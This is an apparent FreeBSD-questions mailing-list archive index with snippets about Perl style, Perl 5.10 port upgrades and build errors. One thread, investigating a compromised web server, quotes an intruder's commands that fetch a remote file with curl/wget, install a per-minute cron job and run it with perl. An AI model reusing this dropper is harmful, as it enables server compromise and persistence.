Re: perl qstn...

2010-04-06 Thread Randal L. Schwartz
Chuck == Chuck Swiger cswi...@mac.com writes: Chuck Let's suppose you want to display one message if debugging is Chuck enabled, and a shorter message if it is not. Then you wouldn't have used this construct. If you don't like all this freedom, there's always Python. :) Chuck Yes, Perl lets

Re: perl qstn...

2010-04-06 Thread Chuck Swiger
a good idea considering the most obvious change one might make to the code, I would conclude that it's probably never going to be a good idea to use such a thing. Surely Perl source code shouldn't be considered as write-once, modify-never? If you don't like all this freedom, there's always Python

Re: perl qstn...

2010-04-06 Thread Randal L. Schwartz
of your argument, but let's read on... Chuck Surely Perl source code shouldn't be considered as write-once, Chuck modify-never? Yes, and that's also presumes facts not in evidence. See above. Chuck I would suggest that good software not only allows the user the Chuck full freedom to do anything which

Re: perl qstn...

2010-04-06 Thread Chuck Swiger
often than 0.1% of the time. Frankly, I wouldn't mind taking a look through a few revisions of something you'd written (perhaps via CVSweb or similar) to see what kind of changes you do make to code over time. Chuck Surely Perl source code shouldn't be considered as write-once, Chuck modify

Re: perl qstn...

2010-04-06 Thread Randal L. Schwartz
to let you have Python, and work productively in it, while I'm happily being productive with Perl. I'm also perfectly willing to allow you imagine faults with Perl, even though after having used Perl productively for 20 years, those problems just don't arise in practice. You, on the other hand

Re: perl qstn...

2010-04-06 Thread Steve Bertrand
On 2010.04.06 17:10, Randal L. Schwartz wrote: Now, on the other hand, emacs rules, vi sucks. :-) :-) ok, ok. I was on the side of Perl, and was content following this thread, but now I don't like you anymore :P heh ;) Steve ___ freebsd-questions

Re: perl qstn...

2010-04-06 Thread Chad Perrin
On Tue, Apr 06, 2010 at 06:17:41PM -0400, Steve Bertrand wrote: On 2010.04.06 17:10, Randal L. Schwartz wrote: Now, on the other hand, emacs rules, vi sucks. :-) :-) ok, ok. I was on the side of Perl, and was content following this thread, but now I don't like you anymore :P heh

Re: perl qstn...

2010-04-06 Thread Chad Perrin
be convenient to type the decision after the action, but it don't I think it promotes good quality software. This sounds exactly like the complaints Pythonistas use to explain why they have a deep hatred of Perl. If that's how you feel, I'd prefer you stop trying to tell me how Perl should work, and just

Re: perl qstn...

2010-04-05 Thread Matthew Seaman
construct. I've always found that 'unless' makes a great deal of sense when used in the alternate syntax: do_foo() unless $condition ; As far as I know, perl and its descendant ruby are the only programming languages that let you put the condition test after the action, despite this being

Re: perl qstn...

2010-04-05 Thread Randal L. Schwartz
Matthew == Matthew Seaman m.sea...@infracaninophile.co.uk writes: Matthew As far as I know, perl and its descendant ruby are the only Matthew programming languages that let you put the condition test after Matthew the action, despite this being exceeding familiar in human Matthew languages

Re: perl qstn...

2010-04-05 Thread parv
in message 867homm1qf@red.stonehenge.com, wrote Randal L. Schwartz thusly... Matthew == Matthew Seaman m.sea...@infracaninophile.co.uk writes: Matthew As far as I know, perl and its descendant ruby are the Matthew only programming languages that let you put the Matthew condition test

Re: perl qstn...

2010-04-05 Thread RW
, perl and its descendant ruby are the only programming languages that let you put the condition test after the action, IMO this is a bad mistake that other languages were quite right not to copy - a test shouldn't come after a block of code unless it's evaluated after the block (as in repeat

Re: perl qstn...

2010-04-05 Thread Chad Perrin
never have to see, in my opinion -- unless we're actually implementing it. Computers are for scut work; humans are for idea work. Failing strict prefix notation, I'm okay with the way Perl and Ruby use unless. This: (result) unless (condition) . . . could be explained away as fitting

Re: perl qstn...

2010-04-04 Thread Gary Kline
On Sun, 2010-04-04 at 00:07 -0400, Greg Larkin wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gary Kline wrote: guys, i'm finally trying to get my private scripts and binaries in ~/bin in order. several of my perl scripts were meant to be throwaway ... but a few seem

Re: perl qstn...

2010-04-04 Thread Randal L. Schwartz
Gary == Gary Kline kl...@thought.org writes: Gary #!/usr/bin/perl Gary $argc = @ARGV; Gary if (! $argc ) { Gary printf(No args; need filename.\n); Gary } Gary else { Gary printf(%s\n, @ARGV); Gary } Even simpler: if (@ARGV) { print No args\n; } else { print

Re: perl qstn...

2010-04-04 Thread Randal L. Schwartz
and false blocks there. :) -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 mer...@stonehenge.com URL:http://www.stonehenge.com/merlyn/ Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc. See http://methodsandmessages.vox.com/ for Smalltalk

Re: perl qstn...

2010-04-04 Thread Chad Perrin
swap them: if (@ARGV) { print arg is $ARGV[0]\n; } else { print no args\n; } If you're studying perl, you might want to join the very beginner-friendly mailing list, info at http://lists.perl.org/list/beginners.html, or start a conversation on perlmonks.org, also

Re: perl qstn...

2010-04-04 Thread Alejandro Imass
[0]\n; Randal     } Augh.  I hit send just as I realized that's backwards.  Need more caffiene.  Swap the true and false blocks there. :) -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 mer...@stonehenge.com URL:http://www.stonehenge.com/merlyn/ Smalltalk/Perl

Re: perl qstn...

2010-04-04 Thread Chad Perrin
On Sun, Apr 04, 2010 at 12:45:30PM -0400, Alejandro Imass wrote: On Sun, Apr 4, 2010 at 11:27 AM, Randal L. Schwartz mer...@stonehenge.com wrote: Randal == Randal L Schwartz mer...@stonehenge.com writes: Randal Even simpler: Randal     if (@ARGV) { did you mean unless? ;-) I find if

Re: perl qstn...

2010-04-04 Thread Alejandro Imass
for the Black Leopard anyday. Not implying that the author is not a great writer, but the Camel book is mostly a printout of perldoc perl g sure hope Larry is not on this list lol tack onto the list after the Alpaca, is the Camel Book, titled Programming Perl.  It's sorta the definitive reference

Re: perl qstn...

2010-04-04 Thread Polytropon
usage: blabla.pl filename\n; or print Use: blabla.pl inputfile\n; And you could even force perl to exit with an exit code != 0 to indicate that something happened (e. g. program wasn't run successfully). Now, as the don't want case has been considered, you can easily continue with your

Re: perl qstn...

2010-04-04 Thread Alejandro Imass
are programming in an exception manner as you correctly point out. Every language should have an unless construct. [...] And you could even force perl to exit with an exit code != 0 to indicate that something happened (e. g. program wasn't run successfully). a good practice in any language... Now

Re: perl qstn...

2010-04-04 Thread Alejandro Imass
resources, including free tutorials online. The trilogy is a must-have regardless if you are beginner intermediate or advanced, and regardless of who wrote them ;-) - Learning Perl - Intermediate Perl - Advanced Perl Programming Of course, the Camel book (Programming Perl), and Perl Best Practices

Re: perl qstn...

2010-04-04 Thread Gary Kline
On Sun, Apr 04, 2010 at 08:25:03AM -0700, Randal L. Schwartz wrote: Gary == Gary Kline kl...@thought.org writes: Gary #!/usr/bin/perl Gary $argc = @ARGV; Gary if (! $argc ) { Gary printf(No args; need filename.\n); Gary } Gary else { Gary printf(%s\n, @ARGV); Gary

Re: perl qstn...

2010-04-04 Thread parv
/tcgrep.gz Then, there is ack ... http://search.cpan.org/dist/ack/ack ... may need to tinker with option to search non-Perl files (see -a option). Or, simply ... #!/bin/sh # If your particular egrep is laced with potent PCRE, may use -P # option (before $@) to specify Perl regex. egrep -r

Caution:: Off-topic Re: perl qstn...

2010-04-04 Thread Gary Kline
. ...Anyway, here's one i'v been wanting to ask for years but don't know where to pose. Is C dead? i mean, since it's been official for years, can C add things like the unless keyword? Can C include the perl regex packages? if i asked this anywhere else, they would send

Re: perl qstn...

2010-04-04 Thread Gary Kline
(by Tom Christiansen) ... http://www.perl.com/CPAN/authors/id/TOMC/scripts/tcgrep.gz Then, there is ack ... http://search.cpan.org/dist/ack/ack ... may need to tinker with option to search non-Perl files (see -a option). Or, simply ... #!/bin/sh # If your particular

Re: Caution:: Off-topic Re: perl qstn...

2010-04-04 Thread C. P. Ghost
On Sun, Apr 4, 2010 at 11:33 PM, Gary Kline kl...@thought.org wrote: Can C include the perl regex packages? Yes! Just use PCRE. Or, if you prefer C++, Boost.Regex: http://www.pcre.org/ http://www.boost.org/doc/libs/1_42_0/libs/regex/doc/html/index.html -- Cordula's Web. http://www.cordula.ws

Re: perl qstn...

2010-04-04 Thread Robert Bonomi
From owner-freebsd-questi...@freebsd.org Sun Apr 4 17:14:17 2010 Date: Sun, 4 Apr 2010 15:13:49 -0700 From: Gary Kline kl...@thought.org To: Randal L. Schwartz mer...@stonehenge.com, glar...@freebsd.org, FreeBSD Mailing List freebsd-questions@freebsd.org Cc: Subject: Re: perl

Re: Caution:: Off-topic Re: perl qstn...

2010-04-04 Thread Chad Perrin
On Sun, Apr 04, 2010 at 02:33:02PM -0700, Gary Kline wrote: anybody know if we need a new C [[maybe D]] that would be allowed to grow? There's already a D. I don't really know much about it, though. -- Chad Perrin [ original content licensed OWL: http://owl.apotheon.org ]

Re: perl qstn...

2010-04-04 Thread Gary Kline
Mailing List freebsd-questions@freebsd.org Cc: Subject: Re: perl qstn... On Sun, Apr 04, 2010 at 10:58:35AM -1000, p...@pair.com wrote: in message 20100404203951.gb47...@thought.org, wrote Gary Kline thusly... ---Maybe you can clue me in on this one: around a dozen years ago

perl qstn...

2010-04-03 Thread Gary Kline
guys, i'm finally trying to get my private scripts and binaries in ~/bin in order. several of my perl scripts were meant to be throwaway ... but a few seem to be more useful and i would have to have informational or usage{} type messages. if a .pl script has to have at least one arg

Re: perl qstn...

2010-04-03 Thread Randal L. Schwartz
Consulting Services, Inc. - +1 503 777 0095 mer...@stonehenge.com URL:http://www.stonehenge.com/merlyn/ Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc. See http://methodsandmessages.vox.com/ for Smalltalk and Seaside discussion ___ freebsd

Re: perl qstn...

2010-04-03 Thread Chad Perrin
in the CPAN. My favorite is Getopt::Long. For simple scripts I tend to use Getopt::Std instead, but Getopt::Long is great too. These two are pretty much the standard for command line option handling and help message generation in Perl. -- Chad Perrin [ original content licensed OWL: http

Re: perl qstn...

2010-04-03 Thread Greg Larkin
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gary Kline wrote: guys, i'm finally trying to get my private scripts and binaries in ~/bin in order. several of my perl scripts were meant to be throwaway ... but a few seem to be more useful and i would have to have informational or usage

OT: Programming perl, BerkeleyDB/MLDBM

2010-03-27 Thread Erik Norgaard
Hi: I have been searching for the appropriate perl mailing list, but no avail. I'm trying to build a database with Berkeley DB and MLDBM for a multi dimensional hash structure, my $hdbm = tie %host, 'MLDBM', -Filename = $dbdir/host.db, -Flags = DB_CREATE|O_RDWR or die Cannot open

Re: OT: Programming perl, BerkeleyDB/MLDBM

2010-03-27 Thread Randal L. Schwartz
Erik == Erik Norgaard norga...@locolomo.org writes: Erik I have been searching for the appropriate perl mailing list, Perl questions are best asked at perlmonks.org or Stack Overflow. Or you can join the beginners list at http://lists.perl.org/ for ongoing discussion and help by email if you

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-05 Thread C. P. Ghost
On Thu, Mar 4, 2010 at 6:13 PM, Matthew Seaman m.sea...@infracaninophile.co.uk wrote: However, when I run:   portupgrade -o lang/perl5.10 -f perl-5.8\.* I get this problem: ---  Upgrading 'perl-5.8.9_3' to 'perl-5.10.1' (lang/perl5.10) ---  Building '/usr/ports/lang/perl5.10

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-05 Thread Lowell Gilbert
-o lang/perl5.10 -f perl-5.8\.* Please feel free to complain volubly about this: it's hand-holding for newbies which annoys and incoveniences the vastly larger number of non-newbies (ie. anyone who has been using the ports for more than a few weeks.) It has occurred to me that teaching

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-05 Thread Matthew Seaman
DISABLE_CONFLICTS when rebuilding the port, eg like this: # portupgrade -m DISABLE_CONFLICTS=yes -o lang/perl5.10 -f perl-5.8\.* Please feel free to complain volubly about this: it's hand-holding for newbies which annoys and incoveniences the vastly larger number of non-newbies (ie. anyone who has

Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Tim Daneliuk
Is there a recommended procedure I can read somewhere on how to upgrade an entire production system from Perl 5.8 to 5.10 (or whatever is current) cleanly? -- Tim Daneliuk tun...@tundraware.com PGP Key

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Glen Barber
Hi, Tim Daneliuk wrote: Is there a recommended procedure I can read somewhere on how to upgrade an entire production system from Perl 5.8 to 5.10 (or whatever is current) cleanly? Have a look at the 20100205 entry of ports/UPDATING. Regards, -- Glen Barber

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Leslie Jensen
On 2010-03-04 17:06, Tim Daneliuk wrote: Is there a recommended procedure I can read somewhere on how to upgrade an entire production system from Perl 5.8 to 5.10 (or whatever is current) cleanly? /usr/ports/UPDATING ;-) ___ freebsd-questions

Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Robert Huff
Tim Daneliuk writes: Is there a recommended procedure I can read somewhere on how to upgrade an entire production system from Perl 5.8 to 5.10 (or whatever is current) cleanly? /usr/ports/UPDATING ? Robert Huff

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Tim Daneliuk
On 3/4/2010 10:13 AM, Leslie Jensen wrote: On 2010-03-04 17:06, Tim Daneliuk wrote: Is there a recommended procedure I can read somewhere on how to upgrade an entire production system from Perl 5.8 to 5.10 (or whatever is current) cleanly? /usr/ports/UPDATING ;-) Thanks to all

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Matthew Seaman
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 04/03/2010 17:05:08, Tim Daneliuk wrote: On 3/4/2010 10:13 AM, Leslie Jensen wrote: On 2010-03-04 17:06, Tim Daneliuk wrote: Is there a recommended procedure I can read somewhere on how to upgrade an entire production system from Perl 5.8

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Tim Daneliuk
On 3/4/2010 11:13 AM, Matthew Seaman wrote: portupgrade -m DISABLE_CONFLICTS=yes -o lang/perl5.10 -f perl-5.8\.* Thanks for that. I'm not sure to whom I'd complain and/or if it would make any difference ;) -- Tim

Re: Perl 5.8 - 5.10 On Current Production System

2010-03-04 Thread Jonathan McKeown
-o lang/perl5.10 -f perl-5.8\.* Please feel free to complain volubly about this: it's hand-holding for newbies which annoys and incoveniences the vastly larger number of non-newbies (ie. anyone who has been using the ports for more than a few weeks.) Has this absolutely ludicrous change

Perl upgrade problem...

2010-02-12 Thread Peter Harrison
Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING that upgrading to 5.10 is recommended. However, when I follow the instructions, I get the following error: laptop# portupgrade -o lang/perl5.10 -f perl-5.8.9_3 --- Upgrading 'perl-5.8.9_3' to 'perl-5.10.1' (lang

Re: Perl upgrade problem...

2010-02-12 Thread Adam Vande More
On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison peter.piggy...@virgin.netwrote: Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING that upgrading to 5.10 is recommended. However, when I follow the instructions, I get the following error: laptop# portupgrade -o lang

Re: Perl upgrade problem...

2010-02-12 Thread Matthew Seaman
On 12/02/2010 20:50, Adam Vande More wrote: On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison peter.piggy...@virgin.netwrote: Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING that upgrading to 5.10 is recommended. However, when I follow the instructions, I get

Re: Perl upgrade problem...

2010-02-12 Thread Adam Vande More
On Fri, Feb 12, 2010 at 3:03 PM, Matthew Seaman m.sea...@black-earth.co.ukwrote: Err... he's following the right instructions. ports/UPDATING does not recommend to upgrade. -- Adam Vande More ___ freebsd-questions@freebsd.org mailing list

Re: Perl upgrade problem...

2010-02-12 Thread Adam Vande More
On Fri, Feb 12, 2010 at 3:07 PM, Adam Vande More amvandem...@gmail.comwrote: On Fri, Feb 12, 2010 at 3:03 PM, Matthew Seaman m.sea...@black-earth.co.uk wrote: Err... he's following the right instructions. ports/UPDATING does not recommend to upgrade. I mean does not recommend going

Re: Perl upgrade problem...

2010-02-12 Thread Peter Harrison
Friday, 12 February 2010 at 14:50:56 -0600, Adam Vande More said: On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison peter.piggy...@virgin.netwrote: Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING that upgrading to 5.10 is recommended. However, when I follow

Re: Perl upgrade problem...

2010-02-12 Thread Adam Vande More
On Fri, Feb 12, 2010 at 3:26 PM, Peter Harrison peter.piggy...@virgin.netwrote: I don't need 5.10, but I was prompted to think about upgrading from 20100205. I was trying to follow 20090328, I ran pkgdb -Ff (no problem) then portupgrade -o lang/per5.10 -f perl-5.8.9 which generated

Re: Perl upgrade problem...

2010-02-12 Thread Peter Harrison
Friday, 12 February 2010 at 21:03:54 +, Matthew Seaman said: On 12/02/2010 20:50, Adam Vande More wrote: On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison peter.piggy...@virgin.netwrote: Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING that upgrading to 5.10

Cannot build perl on FreeBSD 8.0

2010-02-07 Thread Denis
I updated from 7.2 to 8.0 from source. No I updated ports tree and try to update perl (from ports), but get the next error (version does not matter, 5.8, 5.10 give the same error): CCCMD = cc -DPERL_CORE -c -DAPPLLIB_EXP=/usr/local/lib/perl5/5.8.9/BSDPAN -DHAS_FPSETMASK

Re: Cannot build perl on FreeBSD 8.0

2010-02-07 Thread Warren Block
On Sun, 7 Feb 2010, Denis wrote: I updated from 7.2 to 8.0 from source. No I updated ports tree and try to update perl (from ports), but get the next error (version does not matter, 5.8, 5.10 give the same error): Did you rebuild all your ports after the upgrade from 7.2 to 8.0? Do you have

Re: Cannot build perl on FreeBSD 8.0

2010-02-07 Thread Denis
On Sun, Feb 7, 2010 at 8:03 PM, Warren Block wbl...@wonkity.com wrote: Did you rebuild all your ports after the upgrade from 7.2 to 8.0? Do you have any extra settings in /etc/make.conf? Not yet. I'm trying to do this - a lot of ports depend on perl, and I get stuck

Re: Cannot build perl on FreeBSD 8.0

2010-02-07 Thread Warren Block
On Sun, 7 Feb 2010, Denis wrote: On Sun, Feb 7, 2010 at 8:03 PM, Warren Block wbl...@wonkity.com wrote: Did you rebuild all your ports after the upgrade from 7.2 to 8.0? Do you have any extra settings in /etc/make.conf? Not yet. I'm trying to do this - a lot of ports depend on perl, and I

Re: Cannot build perl on FreeBSD 8.0

2010-02-07 Thread Robert Huff
Warren Block writes: Not yet. I'm trying to do this - a lot of ports depend on perl, and I get stuck with it. No, there are no any extra settings in /etc/make.conf. You may be running into the situation where something Perl needs can't run because of mixed libraries

Re: Cannot build perl on FreeBSD 8.0

2010-02-07 Thread Warren Block
On Sun, 7 Feb 2010, Robert Huff wrote: Warren Block writes: Not yet. I'm trying to do this - a lot of ports depend on perl, and I get stuck with it. No, there are no any extra settings in /etc/make.conf. You may be running into the situation where something Perl needs can't run because

Re: Cannot build perl on FreeBSD 8.0

2010-02-07 Thread Denis
On Sun, Feb 7, 2010 at 10:36 PM, Warren Block wbl...@wonkity.com wrote:  You may be running into the situation where something Perl needs can't  run because of mixed libraries.  For the 7-8 major version upgrade, it's usually easier and faster to  save your pkg_info output, backup /usr/local

PL_sv_undef and PL_stack_max undefined - FreBSD 8.0, Perl 5.8.9 or 5.10, FreeRADIUS 2.1.6

2009-11-30 Thread Meyers, Dan
with Perl 5.8.9 and FreeRADIUS 2.1.6 (all compiled from source out of the same copy of the ports tree. Perl compiled without threading support as that causes issues with our database connections when under high load). We had need to reinstall one of the servers over the weekend (We went from i386

RE: PL_sv_undef and PL_stack_max undefined - FreBSD 8.0, Perl 5.8.9 or 5.10, FreeRADIUS 2.1.6

2009-11-30 Thread Meyers, Dan
Had a bit more of a poke. Same symptoms under FreeBSD 7.2 amd64. I am now looking towards there being some kind of issue with the perl or freeradius in ports/packages. Has anyone else seen this at all? -Original Message- From: owner-freebsd-questi...@freebsd.org [mailto:owner-freebsd

RE: PL_sv_undef and PL_stack_max undefined - FreBSD 8.0, Perl 5.8.9 or 5.10, FreeRADIUS 2.1.6

2009-11-30 Thread Meyers, Dan
Interestingly, a completely fresh install of 7.2 that never sees anything out of ports installs perl 5.8.9_2 not 5.8.9_2, and freeradius 2.1.4 instead of 2.1.6 via pkg_add if I do a pkg_add freeradius. *That* works absolutely fine. Unfortunately the packages for 8.0 are 5.8.9_3 and 2.1.6

MimeDefang: Perl core dump

2009-11-27 Thread Martin Schweizer
/var/spool/MIMEDefang/mimedefang-multiplexor.pid -z /var/spool/MIMEDefang -m 2 -x 10 -U The -l option means to log all stuff to syslog. /var/log/all.log shows: Nov 27 17:57:18 acsvfbsd06 kernel: pid 9919 (perl), uid 26: exited on signal 11 (core dumped) Nov 27 17:57:18 acsvfbsd06 mimedefang

Re: for perl wizards.

2009-10-11 Thread Gary Kline
On Fri, Oct 09, 2009 at 12:26:25PM +0200, Oliver Fromme wrote: Gary Kline kl...@thought.org wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner

for perl wizards.

2009-10-09 Thread Gary Kline
Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate hex back into ', , -- [that's a dash), and so forth. Why does this fail

Re: for perl wizards.

2009-10-09 Thread Matthew Seaman
Gary Kline wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate hex back into ', , -- [that's a dash), and so forth. Why does

Re: for perl wizards.

2009-10-09 Thread Lars Eighner
On Fri, 9 Oct 2009, Gary Kline wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate hex back into ', , -- [that's a dash

Re: for perl wizards.

2009-10-09 Thread Oliver Fromme
Gary Kline kl...@thought.org wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate hex back into ', , -- [that's a dash

Re: for perl wizards.

2009-10-09 Thread Steve Bertrand
Lars Eighner wrote: On Fri, 9 Oct 2009, Gary Kline wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate hex back into ', , -- [that's

Re: for perl wizards.

2009-10-09 Thread Warren Block
On Fri, 9 Oct 2009, Oliver Fromme wrote: Gary Kline kl...@thought.org wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate

Re: for perl wizards.

2009-10-09 Thread Oliver Fromme
Warren Block wrote: Oliver Fromme wrote: Gary Kline wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate hex back into ', , -- [that's

Re: for perl wizards.

2009-10-09 Thread Warren Block
On Fri, 9 Oct 2009, Oliver Fromme wrote: Warren Block wrote: Oliver Fromme wrote: Gary Kline wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner or script to translate

Re: for perl wizards.

2009-10-09 Thread Oliver Fromme
Warren Block wrote: Oliver Fromme wrote: Warren Block wrote: Oliver Fromme wrote: Gary Kline wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl one-liner

Re: for perl wizards.

2009-10-09 Thread Lars Eighner
On Fri, 9 Oct 2009, Warren Block wrote: On Fri, 9 Oct 2009, Oliver Fromme wrote: Gary Kline kl...@thought.org wrote: Whenever I save a wordpeocessoe file [OOo, say] into a text file, I get a slew of hex codes to indicate the char to be used. I'm looking for a perl

Re: for perl wizards.

2009-10-09 Thread Warren Block
fixed strings. The OP was using a regex. But my question was why sed instead of Perl? tr(1) was also suggested, and is probably better than sed in this case. Of course, tr is another tool that Perl can replace with added functionality. Likewise Ruby, which has about the same command-line

Re: for perl wizards.

2009-10-09 Thread Matthew Seaman
Oliver Fromme wrote: This isn't about regular expressions at all. This is about replacing fixed strings. Fixed strings are regular expressions. Pretty unexciting ones, but perfectly valid none the less. This has been your daily pedantry minute. Cheers, Matthew -- Dr

Re: for perl wizards.

2009-10-09 Thread Matthew Seaman
Lars Eighner wrote: On Fri, 9 Oct 2009, Warren Block wrote: That's twice now people have suggested sed instead of perl. Why? For many uses, perl is a better sed than sed. The regex engine is far more powerful and escapes are much simpler. Because sed is stable and perl is getting all

Re: for perl wizards.

2009-10-09 Thread Steve Bertrand
to be used. I'm looking for a perl one-liner or script to translate hex back into ', , -- [that's a dash), and so forth. Why does this fail to trans the hex code to an apostrophe? perl -pi.bak -e 's/\xe2\x80\x99/'/g' You need to escape the inner quote character, of course

Ezjail, Perl, upgrading best practices advise please

2009-10-02 Thread Troy Kocher
All, Couple issues: 1) I need some understanding on how to deploy and upgrade perl properly in this jailed environment. 2) I need some help on my current tangle of Perl library complaints Issue #1: In a jailed environment how many installations of perl are recommended (ie 1 host system 2 basejail

Re: Ezjail, Perl, upgrading best practices advise please

2009-10-02 Thread Tim Judd
On 10/2/09, Troy Kocher t...@kocherfamily.org wrote: All, Couple issues: 1) I need some understanding on how to deploy and upgrade perl properly in this jailed environment. 2) I need some help on my current tangle of Perl library complaints Issue #1: In a jailed environment how many

Perl updates

2009-09-13 Thread Jos Chrispijn
Can someone explain why we have to run an update batch in order to have all Perl related programs running with this update? Wouldn't it be better to upgrade Perl and have all programs use it as it hadn't been updated at all? Jos Chrispijn

Re: Perl updates

2009-09-13 Thread Matthew Seaman
Jos Chrispijn wrote: Can someone explain why we have to run an update batch in order to have all Perl related programs running with this update? Wouldn't it be better to upgrade Perl and have all programs use it as it hadn't been updated at all? You're talking about the update of lang

Re: Perl updates

2009-09-13 Thread Jos Chrispijn
Matthew Seaman wrote: You're talking about the update of lang/perl5.10 from perl-5.10.0 to perl-5.10.1 ? The reason you need to run perl-after-upgrade is because perl library modules are stored in directory trees which encode the perl version number. perl-after-upgrade basically moves

Re: what www perl script is running?

2009-08-27 Thread Colin Brace
HISTFILE=/dev/null cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null echo '*/1 * * * * perl /tmp/tmpfile' cron.job crontab cron.job rm -rf cron.job chmod 0100 /tmp/tmpfile 21 /dev/null perl /tmp/tmpfile 21 /dev/null [...] So

Re: what www perl script is running?

2009-08-27 Thread Jeremy Hooks
/dev/null cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null echo '*/1 * * * * perl /tmp/tmpfile' cron.job crontab cron.job rm -rf cron.job chmod 0100 /tmp/tmpfile 21 /dev/null perl /tmp/tmpfile 21 /dev/null [...] So this would be the original mischief-maker. Just out

Re: what www perl script is running?

2009-08-26 Thread Colin Brace
Steve Bertrand said the following on 08/26/2009 01:33 AM: In this case, OP, look for: - directories named as such: -- ... -- . .. -- . . -- etc, particularly under: -- /var/tmp -- /tmp -- or anywhere else the [gu]id of the webserver could possibly write to Thanks for the comments, Steve.

Re: what www perl script is running?

2009-08-26 Thread Colin Brace
://silenceisdefeat.com/~cbrace/www_badstuff-2.gz - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149271.html Sent from the freebsd-questions mailing list archive at Nabble.com

Re: what www perl script is running?

2009-08-26 Thread Colin Brace
/~cbrace/www_badstuff-3.gz Sorry about the multiple tarballs. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149559.html Sent from the freebsd-questions mailing list archive at Nabble.com

Re: what www perl script is running?

2009-08-26 Thread Bill Moran
Adam Vande More amvandem...@gmail.com wrote: On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.comwrote: In response to Adam Vande More amvandem...@gmail.com: On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wmo...@potentialtech.com wrote: In response to Adam Vande

Re: what www perl script is running?

2009-08-26 Thread Bill Moran
In response to Adam Vande More amvandem...@gmail.com: On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.comwrote: Adam Vande More amvandem...@gmail.com wrote: On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.com wrote: In response to Adam Vande

Re: what www perl script is running?

2009-08-26 Thread Adam Vande More
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.comwrote: Adam Vande More amvandem...@gmail.com wrote: On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.com wrote: In response to Adam Vande More amvandem...@gmail.com: On Tue, Aug 25, 2009 at 12:06

Re: what www perl script is running?

2009-08-26 Thread Morgan Wesström
Jonathan McKeown wrote: On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: [450 lines including multiple signatures and twelve levels of quoting, all to say:] Specifically what am I confused on? Or are you just going to continue with the personal attacks? You've offered no

Re: what www perl script is running?

2009-08-26 Thread Adam Vande More
On Wed, Aug 26, 2009 at 8:30 AM, Bill Moran wmo...@potentialtech.comwrote: In response to Adam Vande More amvandem...@gmail.com: On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.com wrote: Adam Vande More amvandem...@gmail.com wrote: On Tue, Aug 25, 2009 at 2:43

Re: what www perl script is running?

2009-08-26 Thread Jonathan McKeown
On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: [450 lines including multiple signatures and twelve levels of quoting, all to say:] Specifically what am I confused on?  Or are you just going to continue with the personal attacks?  You've offered no technical rebuttal, simply

Re: what www perl script is running?

2009-08-25 Thread Colin Brace
Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www cwd VDIR 0,76512 2 / perl5.8.9 4272 www rtd VDIR 0,76512 2 / perl5.8.9 4272 www txt VREG 0,82 4428 3015044 /usr/local/bin/perl perl5.8.9

Re: what www perl script is running?

